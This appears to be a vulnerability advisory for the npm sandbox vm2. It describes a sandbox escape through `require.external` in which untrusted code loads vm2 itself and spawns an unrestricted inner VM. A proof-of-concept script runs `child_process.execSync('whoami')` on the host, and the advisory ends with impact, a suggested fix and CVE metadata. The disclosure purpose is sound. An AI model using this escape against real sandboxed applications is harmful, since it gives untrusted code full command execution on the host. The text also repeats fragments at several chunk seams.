- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.
CHK-7eab60d6e01a398dda1a6f9e
hing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.
- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.
An embedder who has correctly mitigated both prior advisories remains completely open through this one.
**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr).CHK-95d502a4452cb7a87e5f878b
s" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."
## Proof of Concept
See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.
```js
const path = require('path');
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: { external: true, root: './' }, // verbatim from README "Quick Examples"
});
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
```
CHK-c321310e3ecd01054fdbdf08
ld_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
```
**Actual output on the test machine:**
```
{ whoami: 'Abisheik M', platform: 'win32' }
```
`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.
## Impact
Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:
- Execute arbitrary OS commands via `child_process` (full RCE).
- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).
- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.
## Suggested Fix
Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
CHK-0ddba3444f4176aa67dec502
ed for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.
Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).
affected_products: {"ecosystem": "npm", "name": "vm2"}
affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
CHK-282d359e753a0d4d23528c9f
s: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 0.0, "vector": null}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"}
references: {"types": ["WEB"], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"}
references: {"types": ["WEB"], "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"}
references: {"types": ["WEB"], "url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"}补充资料